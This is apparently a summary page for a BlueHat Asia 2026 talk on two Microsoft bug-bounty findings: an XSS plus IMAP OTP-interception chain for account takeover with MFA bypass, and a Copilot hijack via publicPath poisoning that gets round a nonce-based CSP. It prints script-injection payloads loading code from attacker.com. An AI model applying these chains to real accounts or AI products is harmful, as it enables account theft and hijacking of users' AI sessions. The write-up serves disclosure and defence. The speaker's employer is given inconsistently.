Beyond the Injection: Weaponizing Client-Side Chains to Shatter Cloud Identity and AI Boundaries

Asem Eleraky (Security Researcher · Paymob)

BlueHat Asia 2026 · Day 1 · Main Stage

Overview

In this compelling BlueHat Asia talk, Asem Eleraky, also known as Milit0w, challenges the prevailing notion that client-side vulnerabilities, particularly Cross-Site Scripting (XSS), are inherently low-impact in modern web applications. Eleraky argues that the perceived low impact often stems not from the vulnerability itself, but from a lack of sophisticated post-exploitation engineering by security researchers. He advocates for a fundamental shift in mindset: instead of merely attempting to steal cookies or session tokens (which are often protected by mechanisms like HTTPOnly flags), researchers should focus on triggering high-impact state transitions within the application's trusted context.

Watch on YouTube

Visual summary for Beyond the Injection: Weaponizing Client-Side Chains to Shatter Cloud Identity and AI Boundaries by Asem Eleraky
Visual summary for Beyond the Injection: Weaponizing Client-Side Chains to Shatter Cloud Identity and AI Boundaries by Asem Eleraky

Key moments

  1. 1:00 The client-side triage and researcher problem
  2. 3:25 Shifting mindset: Asking the right XSS question
  3. 5:40 Case 1: Microsoft ATO via client-side XSS
  4. 9:55 Technical deep dive: XSS-driven OTP bypass for ATO
  5. 14:00 Live demo: Microsoft account takeover in action
  6. 17:40 Case 2: Hijacking Microsoft 365 Copilot
  7. 21:00 Copilot hijack: Bypassing CSP via public path poisoning
  8. 27:00 Key takeaways: Escalating client-side vulnerabilities

Beyond the Injection: Weaponizing Client-Side Chains to Shatter Cloud Identity and AI Boundaries

Speakers: Asem Eleraky (Security Researcher, Paymob)

Conference: BlueHat Asia

YouTube: https://www.youtube.com/watch?v=PTgzSQ4WY9A

Overview

In this compelling BlueHat Asia talk, Asem Eleraky, also known as Milit0w, challenges the prevailing notion that client-side vulnerabilities, particularly Cross-Site Scripting (XSS), are inherently low-impact in modern web applications. Eleraky argues that the perceived low impact often stems not from the vulnerability itself, but from a lack of sophisticated post-exploitation engineering by security researchers. He advocates for a fundamental shift in mindset: instead of merely attempting to steal cookies or session tokens (which are often protected by mechanisms like HTTPOnly flags), researchers should focus on triggering high-impact state transitions within the application's trusted context.

Eleraky illustrates this paradigm shift with two real-world, high-severity cases discovered in Microsoft's extensive bug bounty program. The first demonstrates a full Account Takeover (ATO) with Multi-Factor Authentication (MFA) bypass against a Microsoft account, achieved by chaining an XSS vulnerability with intricate application logic. The second case unveils a novel technique to hijack Microsoft 365 Copilot, bypassing a robust nonce-based Content Security Policy (CSP) to gain control over the AI's interaction layer. These examples serve as powerful evidence that seemingly benign client-side issues, when meticulously chained and understood within the broader application architecture, can lead to critical security breaches, impacting cloud identity and even the emerging AI ecosystem.

The talk provides invaluable insights for both security researchers, encouraging them to think beyond superficial alerts, and for developers, highlighting critical blind spots in application design and defensive strategies. Eleraky's work underscores the importance of deep application understanding and persistent post-exploitation analysis to uncover the true severity of client-side flaws, ultimately leading to more impactful bug reports and robust security improvements.

Background

▶ Watch: The client-side triage and researcher problem (1:00)

The landscape of client-side vulnerability assessment has, according to Eleraky, developed two significant problems: the client-side triage problem and the security researcher problem. On the triage side, security analysts often dismiss reports of basic XSS or client-side injections as low impact or informational. This perspective is influenced by the widespread adoption of modern browser security mechanisms like Content Security Policy (CSP), HTTPOnly flags for cookies, and various application-level isolation techniques. The assumption is that these layers effectively mitigate the real-world impact of such vulnerabilities, making direct exploitation for sensitive data theft difficult.

Concurrently, many security researchers, particularly with the rise of automated tools and AI-assisted vulnerability discovery, tend to report client-side vulnerabilities as isolated findings—often just a simple alert(document.domain) proof-of-concept. This approach neglects the crucial step of post-exploitation, where an attacker would spend additional time demonstrating the maximum possible impact within a real-world context. Eleraky posits that this disparity in mindset—between proving existence (penetration tester) versus proving maximum impact (security researcher)—has led to the erroneous community assumption that client-side vulnerabilities are inherently low impact. He firmly believes that the vulnerability itself is not low impact; rather, it is the lack of post-exploitation engineering and strategic thinking by researchers that limits the perceived severity.

To counter this, Eleraky proposes a fundamental shift in the security researcher's approach. Instead of asking "What can I steal from this page?" (which often yields "nothing" in well-secured, wide-scope applications), the correct question should be: "What state transition can I trigger in the page to perform a high-impact action?" When XSS executes, it does so within the trusted origin, trusted session, and trusted DOM. This means the JavaScript operates with the full privileges of the authenticated user. However, direct attempts to trigger high-impact actions like password changes or account deletions often hit roadblocks such as Multi-Factor Authentication (MFA), identity proofs, or prompts for the current password—challenges that JavaScript alone cannot satisfy. Therefore, the refined approach involves focusing on the immediate access context of the injection, being patient, and finding escalations to prove real impact, using the injection point as an entry into a larger attack chain.

Key Findings

▶ Watch: Case 1: Microsoft ATO via client-side XSS (5:40)

Asem Eleraky's talk unveils two critical real-world findings at Microsoft, each demonstrating the profound impact achievable by escalating seemingly low-impact client-side vulnerabilities. These findings challenge conventional wisdom and highlight the importance of thorough post-exploitation analysis.

The first major finding was a full account takeover (ATO) with MFA bypass against a Microsoft account. This was achieved by exploiting a seemingly simple Cross-Site Scripting (XSS) vulnerability within a callback parameter of the add alternative email function. Instead of attempting to steal session data, which was protected by HTTPOnly and other measures, Eleraky focused on leveraging the XSS to trigger a critical state transition: adding an attacker-controlled email address to the victim's account. This action, when chained with an automated process to intercept and submit a One-Time Password (OTP) via IMAP and the XSS context, effectively created a permanent backdoor. Crucially, this granted the attacker a "trusted elevation window" on subsequent logins, allowing for complete account control, including password changes, without needing the original password or bypassing MFA directly.

The second significant finding involved the hijacking of Microsoft 365 Copilot, a deeply integrated AI system. This attack vector began with an HTML injection vulnerability found in the shared chat URL of Copilot, specifically within a Base64-encoded value that was decoded and rendered in a script tag. Despite encountering a highly restrictive and "best practice" nonce-based Content Security Policy (CSP), Eleraky discovered a method to bypass it by exploiting a flaw in the application's lazy loading and code splitting mechanism. He identified a public path poisoning vulnerability where the application's fallback mechanism for loading JavaScript chunks could be manipulated. By injecting a specially crafted script tag at the end of the page, the attacker could force the application to load subsequent JavaScript bundles from an attacker-controlled origin. This ultimately led to arbitrary JavaScript execution within the trusted Copilot context, granting the attacker full control over the AI's interaction layer—effectively becoming the user and seeing, reading, and issuing commands as if they were the legitimate user.

Both cases underscore Eleraky's core message: client-side vulnerabilities, when analyzed with a deep understanding of application logic and a focus on state transitions rather than mere data theft, can be escalated into critical security risks that undermine fundamental security assumptions, even against well-secured, large-scale platforms like Microsoft.

Technical Deep Dive

▶ Watch: Live demo: Microsoft account takeover in action (14:00)

Eleraky's presentation delved into the intricate technical details of his two groundbreaking findings, showcasing how persistence and deep application analysis can transform seemingly low-impact vulnerabilities into critical attack chains.

Case 1: Full Account Takeover (ATO) with MFA Bypass on Microsoft Accounts

The first case began with the discovery of an XSS vulnerability in a Microsoft account management function. Eleraky's methodology for finding the injection point was to test target functions from non-canonical paths or different origins (e.g., ads.microsoft.com or visualstudio.com redirecting to account.live.com). This often reveals hidden callback parameters (like postURL) that are used to redirect the user back to the originating context. In this instance, the postURL parameter's value was reflected unsanitized within a <script> tag on the add alternative email page, leading to XSS execution.

Initial attempts to exploit the XSS using traditional methods—stealing cookies or local/session storage tokens—were thwarted by robust protections such as the HTTPOnly flag and the absence of sensitive data in client-side storage. Furthermore, any direct high-impact action, like changing a password, would trigger MFA or require the current password, which the XSS context could not satisfy.

Eleraky shifted his focus to the "state transition" concept. The add alternative email function's flow involves the user submitting an email, receiving an OTP, and then submitting the OTP to link the new email. A key insight was that Microsoft provides a "trusted elevation window" after certain OTP-based logins, allowing the user to perform sensitive actions without re-authenticating for a specific duration. The goal became to complete this add alternative email flow entirely via XSS, linking an attacker-controlled email to the victim's account.

The attack chain was meticulously crafted:

  1. Submit Attacker's Email: Leveraging the fact that the target was a Single Page Application (SPA) and the XSS context persisted, Eleraky created an auto-submitted HTML form. This form, embedded within the XSS payload, would submit the attacker's Gmail address to the add alternative email function. The XSS payload itself was injected into the form's action attribute.
  2. Intercept OTP: While the victim's browser, now with active XSS, waited for the OTP, the attacker's exploit application (hosted on attacker.com) was invoked. This application connected to the attacker's own Gmail account via the IMAP protocol (simulating a desktop mail client). It then fetched the latest email from Microsoft, used regular expressions (regex) to extract the OTP, and exposed this OTP via a dedicated endpoint, /OTP.
  3. Submit OTP via XSS: The XSS payload in the victim's browser sent an invocation request to the attacker's exploit app. After a short delay (1-2 seconds) to allow the exploit app to retrieve the OTP, the XSS sent a callback request to /OTP on attacker.com to fetch the OTP. CORS (Cross-Origin Resource Sharing) headers were enabled on the attacker's server to permit this cross-origin request.
  4. Complete the Flow: With the OTP now available in the XSS context, the payload programmatically identified the OTP input field and the submit button in the victim's DOM, filled the OTP, and triggered the submission.

This completed the linking of the attacker's Gmail to the victim's Microsoft account. For stealth, Eleraky refined the exploit by compressing the entire JavaScript payload into a single file hosted on attacker.com and injected via a short <script src="https://attacker.com/payload.js"></script> tag, making the exploit URL less suspicious. This ultimately granted a permanent account takeover and the coveted "trusted elevation window."

Case 2: Hijacking Microsoft 365 Copilot

The second case targeted Microsoft 365 Copilot, emphasizing that while AI model security is crucial, the surrounding web application that hosts and interacts with the AI often presents a more accessible attack surface. Eleraky found an HTML injection vulnerability in the shared URL for Copilot chats. This URL contained a Base64-encoded value (part of static hydration data) that was decoded server-side and reflected within a <script> tag. Initial attempts to break the JSON object with double quotes failed due to escaping, but he successfully broke out of the <script> tag to inject arbitrary HTML, such as </script><script>alert(1)</script>.

The primary obstacle was a very well-implemented, nonce-based Content Security Policy (CSP). This CSP used an unpredictable, dynamically generated nonce value, making it impossible to inline arbitrary scripts or load scripts from untrusted origins directly. With only a limited HTML injection and a strict CSP, the immediate impact seemed minimal.

Undeterred, Eleraky applied his "patience" mindset, focusing on how the application loaded JavaScript and bootstrapped its UI, specifically looking for hidden mechanisms. He discovered that like many SPAs, Copilot used lazy loading and code splitting. The runtime.js file was responsible for loading various JavaScript bundles and libraries, setting a crucial publicPath property that dictates where subsequent JavaScript chunks are fetched from. Initially, publicPath was set using document.currentScript.src, typically pointing to the legitimate application origin.

However, Eleraky identified a fallback mechanism within main.js (responsible for bootstrapping the UI). This mechanism was designed to override the publicPath property, particularly to handle cases where currentScript.src might be null. Critically, this fallback searched for the last <script> tag on the page that had a src attribute and used its src value to set the publicPath.

This was the breakthrough. Since Eleraky's HTML injection landed at the end of the page, he could inject a malicious script tag: <script src="https://attacker.com/malicious.js"></script>. This injected tag became the last script tag with a src attribute. Consequently, the fallback mechanism in main.js would poison the publicPath property, setting it to https://attacker.com/. From that point on, any legitimate JavaScript chunks requested by the application (e.g., for settings or other features) would attempt to load from https://attacker.com/ instead of the trusted Microsoft origin.

The nonce-based CSP was bypassed because the runtime.js itself was a trusted script. The CSP likely included the strict-dynamic directive, which allows scripts generated or appended to the DOM by a trusted script (like runtime.js) to execute, even if their source doesn't match a specific script-src whitelist. Since runtime.js was now dynamically creating <script> tags to load chunks from the poisoned publicPath, the attacker's malicious JavaScript, served from attacker.com as if it were a legitimate chunk, would execute under the trusted context.

To complete the attack, the attacker's Node.js server was configured to accept requests for any chunk filename and return the attacker's malicious JavaScript payload. This ensured that regardless of the specific chunk requested by Copilot, the attacker's code would be served and executed. The impact was full control over the DOM, allowing the attacker to access chat IDs, read sensitive data within the Copilot interface, and issue commands as the legitimate user to the AI model itself. The execution appeared to originate from a legitimate Microsoft URL, making it highly stealthy.

Demo / Proof of Concept

▶ Watch: Case 2: Hijacking Microsoft 365 Copilot (17:40)

Asem Eleraky provided a live demonstration for the first case, the Account Takeover (ATO) with MFA bypass against a Microsoft account, to visually underscore the efficacy of his complex client-side attack chain.

The demonstration began by showing a victim's Microsoft account with only one legitimate email address linked, proving a clean slate. Next, Eleraky presented his local exploit application, where he configured it by inputting his own Gmail address (which would become the attacker's backdoor) and an app-specific password for IMAP access, enabling the exploit server to connect to his Gmail and fetch the OTP. He then showcased the generated, compressed exploit URL.

The critical moment arrived when the victim's browser was shown. The victim simply had to visit the crafted exploit URL. Upon loading the page, the XSS payload automatically executed. The audience observed a brief delay of 1-2 seconds as the automated process unfolded: the attacker's email was submitted, the exploit server retrieved the OTP via IMAP, and the XSS in the victim's browser submitted the OTP. The victim's page then refreshed, indicating the successful linking of the attacker's email.

To prove the account takeover, Eleraky switched to an attacker's browser. He initiated a login attempt for the victim's Microsoft account. Instead of entering the password (which the attacker didn't know), he selected the "Sign in another way" option. Crucially, the system now displayed two linked email addresses: the original victim's email and the attacker's newly added Gmail. Selecting the attacker's Gmail, an OTP was sent to the attacker's controlled inbox. Upon entering this OTP, the attacker successfully gained full access to the victim's Microsoft account. Eleraky highlighted that this method also granted the "trusted elevation window," allowing the attacker to perform highly sensitive actions, including kicking the original user out of the account without needing their original password. The seamless, user-interaction-free execution within the victim's browser, culminating in a complete account takeover, powerfully validated the sophisticated attack chain.

For the second case, the Microsoft 365 Copilot hijack, a live demo was not explicitly shown in the transcript. Instead, Eleraky eloquently described the impact, emphasizing how the public path poisoning and subsequent arbitrary JavaScript execution gave the attacker full control over the Copilot's DOM. This meant the attacker could effectively "read what it reads, see what it sees, issue what it issues," becoming the user and fully controlling the AI's interaction context without needing to jailbreak or prompt inject the AI model itself.

Defensive Implications

▶ Watch: Key takeaways: Escalating client-side vulnerabilities (27:00)

Eleraky's talk provides several crucial defensive implications for both developers and security professionals striving to secure modern web applications, especially those integrating with cloud identity and AI services.

For developers, the primary takeaway is that Content Security Policy (CSP), even a robust nonce-based implementation, is not a silver bullet. While CSP provides a strong layer of defense, it does not absolve developers of the fundamental responsibility to sanitize all user inputs. The root cause of both demonstrated attacks was unsanitized reflection of user-controlled data. Developers must adopt a "defense-in-depth" approach, ensuring that input validation and output encoding are rigorously applied at every stage.

Furthermore, developers building Single Page Applications (SPAs) that utilize lazy loading or code splitting mechanisms must critically review how their applications determine the publicPath for loading JavaScript chunks. The public path poisoning demonstrated in the Copilot case highlights a subtle but critical vulnerability. Relying on document.currentScript.src or fallback mechanisms that dynamically derive the publicPath from the last script tag on the page can be exploited by HTML injection if not carefully secured. Mechanisms for loading external resources should be hardcoded or derived from immutable, trusted sources, rather than being susceptible to client-side manipulation.

Finally, developers should be acutely aware of callback parameters (e.g., postURL). These parameters, often used for redirects or state management, are frequently overlooked as potential injection points, especially when they appear in non-canonical application paths. Treating all external input, regardless of its intended use or discovery path, as untrusted is paramount.

For defenders and bug bounty triagers, Eleraky's work is a clarion call to escalate low-impact vulnerabilities. The talk conclusively proves that a simple Cross-Site Scripting (XSS) or HTML injection, often dismissed as informational or low severity, can be the critical entry point into a complex, high-impact attack chain. Triagers should resist the urge to immediately classify client-side issues based on initial appearance. Instead, they should encourage and reward researchers who demonstrate post-exploitation engineering. This involves understanding the application's business logic, identifying potential state transitions, and exploring how client-side execution can interact with various application components, including identity systems and AI interfaces. A deep understanding of how an application bootstraps, loads resources, and handles user interactions is essential for uncovering these hidden attack paths. By adopting this mindset, organizations can move beyond superficial vulnerability assessments and identify truly critical risks that might otherwise be missed.

Key Takeaways

  • Client-side vulnerabilities are not inherently low impact: The perceived low severity of vulnerabilities like XSS often stems from a lack of sophisticated post-exploitation engineering by security researchers, rather than the intrinsic nature of the vulnerability itself.
  • Shift from "what to steal" to "what state transitions to trigger": Instead of focusing on stealing cookies or tokens (often protected by HTTPOnly), researchers should aim to trigger high-impact actions or state changes within the application's trusted context.
  • Deeply analyze application loading and bootstrapping mechanisms: Vulnerabilities can lie in subtle implementation details, such as how Single Page Applications (SPAs) determine their publicPath for lazy-loaded JavaScript chunks, which can lead to public path poisoning.
  • Robust CSPs are not infallible: Even "best practice" nonce-based Content Security Policies (CSPs) can be bypassed if the application's core logic or trusted scripts can be manipulated to load attacker-controlled code, especially when combined with directives like strict-dynamic.
  • Uncommon paths reveal hidden injection points: Actively testing application functions from different origins or non-canonical paths can expose unique callback parameters that are often overlooked and vulnerable to injection.
  • Escalation is key to understanding and impact: Proving the full impact of a client-side vulnerability through escalation chains provides a much deeper understanding of the application's security posture and results in higher-impact reports and rewards.

About the Speaker(s)

Asem Eleraky, also known by his online handle Milit0w, is a distinguished Senior Penetration Tester and Security Researcher at Payoneer. With a clear passion for client-side vulnerabilities, Eleraky dedicates his free time to bug bounty hunting, where he has achieved significant recognition. He is a recipient of multiple acknowledgements from Microsoft, including being named a Microsoft Most Valuable Researcher, and has earned the prestigious title of three-time Bugcrowd MVP. His work, as demonstrated in this talk, highlights his deep expertise in uncovering and escalating complex client-side attack chains, challenging conventional security wisdom, and pushing the boundaries of vulnerability research. He actively shares his insights and research on his personal blog.

Reviews

Dr. Zero (Offensive Security Researcher) — STRONG ACCEPT

Eleraky delivers exactly what he promises: two real Microsoft bugs where 'low impact' XSS became full account takeover and Copilot hijack. The post-exploitation engineering is the star here — the IMAP OTP-fetch chain and the publicPath poisoning are both clever, practical, and well-explained. Not groundbreaking primitives, but solid execution on an underappreciated attack philosophy.

Heather Calloway (CISO) — STRONG ACCEPT

This is the kind of work that should recalibrate how your security team triages client-side bugs. Two real Microsoft bounty cases—account takeover with MFA bypass, and Copilot hijack via CSP bypass—demonstrate that XSS dismissed as 'low impact' can chain into critical compromise. Your bug bounty program and your web application security posture both need to account for this.

→ Top-rated talks at BlueHat Asia 2026

All talks from BlueHat Asia 2026